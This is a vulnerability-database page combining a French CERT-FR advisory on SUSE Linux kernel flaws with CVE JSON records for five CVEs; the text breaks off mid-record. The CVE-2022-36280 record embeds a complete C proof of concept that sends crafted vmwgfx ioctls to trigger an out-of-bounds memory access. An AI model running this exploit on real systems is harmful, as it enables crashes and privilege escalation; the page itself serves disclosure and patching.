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CERTFR-2023-AVI-0166
Vulnerability from certfr_avis
De multiples vulnérabilités ont été corrigées dans le noyau Linux de SUSE. Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, un déni de service à distance et une atteinte à l'intégrité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
Vendor | Product | Description | ||
---|---|---|---|---|
SUSE | SUSE Linux Enterprise High Performance Computing | SUSE Linux Enterprise High Performance Computing 12 SP5 | ||
SUSE | SUSE Linux Enterprise High Performance Computing | SUSE Linux Enterprise High Performance Computing 15 SP4 | ||
SUSE | openSUSE Leap | openSUSE Leap 15.4 | ||
SUSE | SUSE Linux Enterprise Server | SUSE Linux Enterprise Server 12 SP5 | ||
SUSE | SUSE Linux Enterprise Real Time | SUSE Linux Enterprise Real Time 12 SP5 | ||
SUSE | SUSE Linux Enterprise Micro | SUSE Linux Enterprise Micro 5.3 | ||
SUSE | openSUSE Leap | openSUSE Leap Micro 5.3 | ||
SUSE | SUSE Linux Enterprise Micro | SUSE Linux Enterprise Micro for Rancher 5.3 | ||
SUSE | SUSE Linux Enterprise Real Time | SUSE Linux Enterprise Real Time 15 SP4 | ||
SUSE | SUSE Real Time Module | SUSE Real Time Module 15-SP4 | ||
SUSE | SUSE Linux Enterprise Server | SUSE Linux Enterprise Server for SAP Applications 15 SP4 | ||
SUSE | SUSE Linux Enterprise Server | SUSE Linux Enterprise Server 15 SP4 | ||
SUSE | SUSE Linux Enterprise Micro | SUSE Linux Enterprise Micro 5.4 | ||
SUSE | SUSE Linux Enterprise Live Patching | SUSE Linux Enterprise Live Patching 15-SP4 |
References
Title | Publication Time | Tags | |
---|---|---|---|
|
{ "$ref": "https://www.cert.ssi.gouv.fr/openapi.json", "affected_systems": [ { "description": "SUSE Linux Enterprise High Performance Computing 12 SP5", "product": { "name": "SUSE Linux Enterprise High Performance Computing", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise High Performance Computing 15 SP4", "product": { "name": "SUSE Linux Enterprise High Performance Computing", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "openSUSE Leap 15.4", "product": { "name": "openSUSE Leap", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Server 12 SP5", "product": { "name": "SUSE Linux Enterprise Server", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Real Time 12 SP5", "product": { "name": "SUSE Linux Enterprise Real Time", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Micro 5.3", "product": { "name": "SUSE Linux Enterprise Micro", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "openSUSE Leap Micro 5.3", "product": { "name": "openSUSE Leap", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Micro for Rancher 5.3", "product": { "name": "SUSE Linux Enterprise Micro", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Real Time 15 SP4", "product": { "name": "SUSE Linux Enterprise Real Time", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Real Time Module 15-SP4", "product": { "name": "SUSE Real Time Module", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Server for SAP Applications 15 SP4", "product": { "name": "SUSE Linux Enterprise Server", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Server 15 SP4", "product": { "name": "SUSE Linux Enterprise Server", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Micro 5.4", "product": { "name": "SUSE Linux Enterprise Micro", "vendor": { "name": "SUSE", "scada": false } } }, { "description": "SUSE Linux Enterprise Live Patching 15-SP4", "product": { "name": "SUSE Linux Enterprise Live Patching", "vendor": { "name": "SUSE", "scada": false } } } ], "affected_systems_content": null, "content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n", "cves": [ { "name": "CVE-2023-23454", "url": "https://www.cve.org/CVERecord?id=CVE-2023-23454" }, { "name": "CVE-2022-47929", "url": "https://www.cve.org/CVERecord?id=CVE-2022-47929" }, { "name": "CVE-2023-23455", "url": "https://www.cve.org/CVERecord?id=CVE-2023-23455" }, { "name": "CVE-2023-0266", "url": "https://www.cve.org/CVERecord?id=CVE-2023-0266" }, { "name": "CVE-2022-36280", "url": "https://www.cve.org/CVERecord?id=CVE-2022-36280" }, { "name": "CVE-2022-4382", "url": "https://www.cve.org/CVERecord?id=CVE-2022-4382" }, { "name": "CVE-2020-24588", "url": "https://www.cve.org/CVERecord?id=CVE-2020-24588" }, { "name": "CVE-2023-0179", "url": "https://www.cve.org/CVERecord?id=CVE-2023-0179" }, { "name": "CVE-2023-0045", "url": "https://www.cve.org/CVERecord?id=CVE-2023-0045" }, { "name": "CVE-2023-0590", "url": "https://www.cve.org/CVERecord?id=CVE-2023-0590" }, { "name": "CVE-2023-0122", "url": "https://www.cve.org/CVERecord?id=CVE-2023-0122" } ], "initial_release_date": "2023-02-24T00:00:00", "last_revision_date": "2023-02-24T00:00:00", "links": [ { "title": "Bulletin de s\u00e9curit\u00e9 SUSE\u00a0suse-su-20230488-1 du 23 f\u00e9vrier 2023", "url": "https://www.suse.com/support/update/announcement/2023/suse-su-20230488-1/" }, { "title": "Bulletin de s\u00e9curit\u00e9 SUSE\u00a0suse-su-20230485-1 du 23 f\u00e9vrier 2023", "url": "https://www.suse.com/support/update/announcement/2023/suse-su-20230485-1/" } ], "reference": "CERTFR-2023-AVI-0166", "revisions": [ { "description": "Version initiale", "revision_date": "2023-02-24T00:00:00.000000" } ], "risks": [ { "description": "D\u00e9ni de service \u00e0 distance" }, { "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es" }, { "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur" }, { "description": "\u00c9l\u00e9vation de privil\u00e8ges" } ], "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux de SUSE\u003c/span\u003e. Certaines d\u0027entre elles\npermettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non\nsp\u00e9cifi\u00e9 par l\u0027\u00e9diteur, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0\nl\u0027int\u00e9grit\u00e9 des donn\u00e9es.\n", "title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux de SUSE", "vendor_advisories": [ { "published_at": null, "title": "Bulletin de s\u00e9curit\u00e9 SUSE suse-su-20230485-1 du 23 f\u00e9vrier 2023", "url": null }, { "published_at": null, "title": "Bulletin de s\u00e9curit\u00e9 SUSE suse-su-20230488-1 du 23 f\u00e9vrier 2023", "url": null } ] }
CVE-2020-24588 (GCVE-0-2020-24588)
Vulnerability from cvelistv5
Published
2021-05-11 00:00
Modified
2024-08-04 15:19
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
The 802.11 standard that underpins Wi-Fi Protected Access (WPA, WPA2, and WPA3) and Wired Equivalent Privacy (WEP) doesn't require that the A-MSDU flag in the plaintext QoS header field is authenticated. Against devices that support receiving non-SSP A-MSDU frames (which is mandatory as part of 802.11n), an adversary can abuse this to inject arbitrary network packets.
References
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-04T15:19:08.467Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00473.html" }, { "name": "20210511 Multiple Vulnerabilities in Frame Aggregation and Fragmentation Implementations of 802.11 Specification Affecting Cisco Products: May 2021", "tags": [ "vendor-advisory", "x_transferred" ], "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wifi-faf-22epcEWu" }, { "tags": [ "x_transferred" ], "url": "https://www.fragattacks.com" }, { "tags": [ "x_transferred" ], "url": "https://github.com/vanhoefm/fragattacks/blob/master/SUMMARY.md" }, { "name": "[oss-security] 20210511 various 802.11 security issues - fragattacks.com", "tags": [ "mailing-list", "x_transferred" ], "url": "http://www.openwall.com/lists/oss-security/2021/05/11/12" }, { "name": "[debian-lts-announce] 20210623 [SECURITY] [DLA 2689-1] linux security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00020.html" }, { "name": "[debian-lts-announce] 20210623 [SECURITY] [DLA 2690-1] linux-4.19 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00019.html" }, { "tags": [ "x_transferred" ], "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-913875.pdf" }, { "tags": [ "x_transferred" ], "url": "https://www.arista.com/en/support/advisories-notices/security-advisories/12602-security-advisory-63" }, { "name": "[debian-lts-announce] 20230401 [SECURITY] [DLA 3380-1] firmware-nonfree LTS new upstream version (security updates and newer firmware for Linux 5.10)", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00002.html" } ], "title": "CVE Program Container" } ], "cna": { "affected": [ { "product": "n/a", "vendor": "n/a", "versions": [ { "status": "affected", "version": "n/a" } ] } ], "descriptions": [ { "lang": "en", "value": "The 802.11 standard that underpins Wi-Fi Protected Access (WPA, WPA2, and WPA3) and Wired Equivalent Privacy (WEP) doesn\u0027t require that the A-MSDU flag in the plaintext QoS header field is authenticated. Against devices that support receiving non-SSP A-MSDU frames (which is mandatory as part of 802.11n), an adversary can abuse this to inject arbitrary network packets." } ], "problemTypes": [ { "descriptions": [ { "description": "n/a", "lang": "en", "type": "text" } ] } ], "providerMetadata": { "dateUpdated": "2023-04-01T00:00:00", "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "shortName": "mitre" }, "references": [ { "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00473.html" }, { "name": "20210511 Multiple Vulnerabilities in Frame Aggregation and Fragmentation Implementations of 802.11 Specification Affecting Cisco Products: May 2021", "tags": [ "vendor-advisory" ], "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wifi-faf-22epcEWu" }, { "url": "https://www.fragattacks.com" }, { "url": "https://github.com/vanhoefm/fragattacks/blob/master/SUMMARY.md" }, { "name": "[oss-security] 20210511 various 802.11 security issues - fragattacks.com", "tags": [ "mailing-list" ], "url": "http://www.openwall.com/lists/oss-security/2021/05/11/12" }, { "name": "[debian-lts-announce] 20210623 [SECURITY] [DLA 2689-1] linux security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00020.html" }, { "name": "[debian-lts-announce] 20210623 [SECURITY] [DLA 2690-1] linux-4.19 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00019.html" }, { "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-913875.pdf" }, { "url": "https://www.arista.com/en/support/advisories-notices/security-advisories/12602-security-advisory-63" }, { "name": "[debian-lts-announce] 20230401 [SECURITY] [DLA 3380-1] firmware-nonfree LTS new upstream version (security updates and newer firmware for Linux 5.10)", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00002.html" } ] } }, "cveMetadata": { "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "assignerShortName": "mitre", "cveId": "CVE-2020-24588", "datePublished": "2021-05-11T00:00:00", "dateReserved": "2020-08-21T00:00:00", "dateUpdated": "2024-08-04T15:19:08.467Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2022-47929 (GCVE-0-2022-47929)
Vulnerability from cvelistv5
Published
2023-01-17 00:00
Modified
2025-04-04 18:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel before 6.1.6, a NULL pointer dereference bug in the traffic control subsystem allows an unprivileged user to trigger a denial of service (system crash) via a crafted traffic control configuration that is set up with "tc qdisc" and "tc class" commands. This affects qdisc_graft in net/sched/sch_api.c.
References
URL | Tags | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-03T15:02:36.590Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://www.spinics.net/lists/netdev/msg555705.html" }, { "tags": [ "x_transferred" ], "url": "https://tldp.org/HOWTO/Traffic-Control-HOWTO/components.html" }, { "tags": [ "x_transferred" ], "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96398560f26aa07e8f2969d73c8197e6a6d10407" }, { "tags": [ "x_transferred" ], "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.1.6" }, { "name": "DSA-5324", "tags": [ "vendor-advisory", "x_transferred" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "title": "CVE Program Container" }, { "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" } }, { "other": { "content": { "id": "CVE-2022-47929", "options": [ { "Exploitation": "poc" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "role": "CISA Coordinator", "timestamp": "2025-04-04T18:00:53.557625Z", "version": "2.0.3" }, "type": "ssvc" } } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-476", "description": "CWE-476 NULL Pointer Dereference", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2025-04-04T18:01:31.109Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "n/a", "vendor": "n/a", "versions": [ { "status": "affected", "version": "n/a" } ] } ], "descriptions": [ { "lang": "en", "value": "In the Linux kernel before 6.1.6, a NULL pointer dereference bug in the traffic control subsystem allows an unprivileged user to trigger a denial of service (system crash) via a crafted traffic control configuration that is set up with \"tc qdisc\" and \"tc class\" commands. This affects qdisc_graft in net/sched/sch_api.c." } ], "problemTypes": [ { "descriptions": [ { "description": "n/a", "lang": "en", "type": "text" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-03T00:00:00.000Z", "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "shortName": "mitre" }, "references": [ { "url": "https://www.spinics.net/lists/netdev/msg555705.html" }, { "url": "https://tldp.org/HOWTO/Traffic-Control-HOWTO/components.html" }, { "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96398560f26aa07e8f2969d73c8197e6a6d10407" }, { "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.1.6" }, { "name": "DSA-5324", "tags": [ "vendor-advisory" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ] } }, "cveMetadata": { "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "assignerShortName": "mitre", "cveId": "CVE-2022-47929", "datePublished": "2023-01-17T00:00:00.000Z", "dateReserved": "2022-12-22T00:00:00.000Z", "dateUpdated": "2025-04-04T18:01:31.109Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2022-4382 (GCVE-0-2022-4382)
Vulnerability from cvelistv5
Published
2023-01-10 00:00
Modified
2025-04-09 15:34
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw caused by a race among the superblock operations in the gadgetfs Linux driver was found. It could be triggered by yanking out a device that is running the gadgetfs side.
References
Impacted products
Vendor | Product | Version | ||
---|---|---|---|---|
n/a | Linux kernel |
Version: unknown |
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-03T01:41:44.608Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://www.openwall.com/lists/oss-security/2022/12/14/5" } ], "title": "CVE Program Container" }, { "metrics": [ { "cvssV3_1": { "attackComplexity": "HIGH", "attackVector": "PHYSICAL", "availabilityImpact": "HIGH", "baseScore": 6.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" } }, { "other": { "content": { "id": "CVE-2022-4382", "options": [ { "Exploitation": "poc" }, { "Automatable": "no" }, { "Technical Impact": "total" } ], "role": "CISA Coordinator", "timestamp": "2025-04-09T15:33:38.767237Z", "version": "2.0.3" }, "type": "ssvc" } } ], "providerMetadata": { "dateUpdated": "2025-04-09T15:34:11.631Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "Linux kernel", "vendor": "n/a", "versions": [ { "status": "affected", "version": "unknown" } ] } ], "descriptions": [ { "lang": "en", "value": "A use-after-free flaw caused by a race among the superblock operations in the gadgetfs Linux driver was found. It could be triggered by yanking out a device that is running the gadgetfs side." } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-416", "description": "CWE-416", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2023-01-10T00:00:00.000Z", "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "shortName": "redhat" }, "references": [ { "url": "https://www.openwall.com/lists/oss-security/2022/12/14/5" } ] } }, "cveMetadata": { "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "assignerShortName": "redhat", "cveId": "CVE-2022-4382", "datePublished": "2023-01-10T00:00:00.000Z", "dateReserved": "2022-12-09T00:00:00.000Z", "dateUpdated": "2025-04-09T15:34:11.631Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-23454 (GCVE-0-2023-23454)
Vulnerability from cvelistv5
Published
2023-01-12 00:00
Modified
2025-03-20 20:55
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
cbq_classify in net/sched/sch_cbq.c in the Linux kernel through 6.1.4 allows attackers to cause a denial of service (slab-out-of-bounds read) because of type confusion (non-negative numbers can sometimes indicate a TC_ACT_SHOT condition rather than valid classification results).
References
URL | Tags | |||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-02T10:28:40.976Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://www.openwall.com/lists/oss-security/2023/01/10/1" }, { "tags": [ "x_transferred" ], "url": "https://www.openwall.com/lists/oss-security/2023/01/10/4" }, { "tags": [ "x_transferred" ], "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=caa4b35b4317d5147b3ab0fbdc9c075c7d2e9c12" }, { "name": "DSA-5324", "tags": [ "vendor-advisory", "x_transferred" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "title": "CVE Program Container" }, { "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" } }, { "other": { "content": { "id": "CVE-2023-23454", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "role": "CISA Coordinator", "timestamp": "2025-03-06T15:57:34.523485Z", "version": "2.0.3" }, "type": "ssvc" } } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-843", "description": "CWE-843 Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2025-03-20T20:55:38.435Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "n/a", "vendor": "n/a", "versions": [ { "status": "affected", "version": "n/a" } ] } ], "descriptions": [ { "lang": "en", "value": "cbq_classify in net/sched/sch_cbq.c in the Linux kernel through 6.1.4 allows attackers to cause a denial of service (slab-out-of-bounds read) because of type confusion (non-negative numbers can sometimes indicate a TC_ACT_SHOT condition rather than valid classification results)." } ], "problemTypes": [ { "descriptions": [ { "description": "n/a", "lang": "en", "type": "text" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-03T00:00:00.000Z", "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "shortName": "mitre" }, "references": [ { "url": "https://www.openwall.com/lists/oss-security/2023/01/10/1" }, { "url": "https://www.openwall.com/lists/oss-security/2023/01/10/4" }, { "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=caa4b35b4317d5147b3ab0fbdc9c075c7d2e9c12" }, { "name": "DSA-5324", "tags": [ "vendor-advisory" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ] } }, "cveMetadata": { "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "assignerShortName": "mitre", "cveId": "CVE-2023-23454", "datePublished": "2023-01-12T00:00:00.000Z", "dateReserved": "2023-01-12T00:00:00.000Z", "dateUpdated": "2025-03-20T20:55:38.435Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2022-36280 (GCVE-0-2022-36280)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 00:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-120 - Buffer Overflow
Summary
An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-03T10:00:04.335Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071" }, { "name": "DSA-5324", "tags": [ "vendor-advisory", "x_transferred" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "title": "CVE Program Container" } ], "cna": { "affected": [ { "product": "kernel", "vendor": "Linux", "versions": [ { "lessThan": "5.13.0-52*", "status": "affected", "version": "v3.2-rc1", "versionType": "custom" } ] } ], "credits": [ { "lang": "en", "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab" } ], "datePublic": "2022-09-06T00:00:00", "descriptions": [ { "lang": "en", "value": "An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)." } ], "exploits": [ { "lang": "en", "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n int sid = create_surface(); \n printf(\"%d\",sid); \n poc(handle,sid); \n \n}" } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": 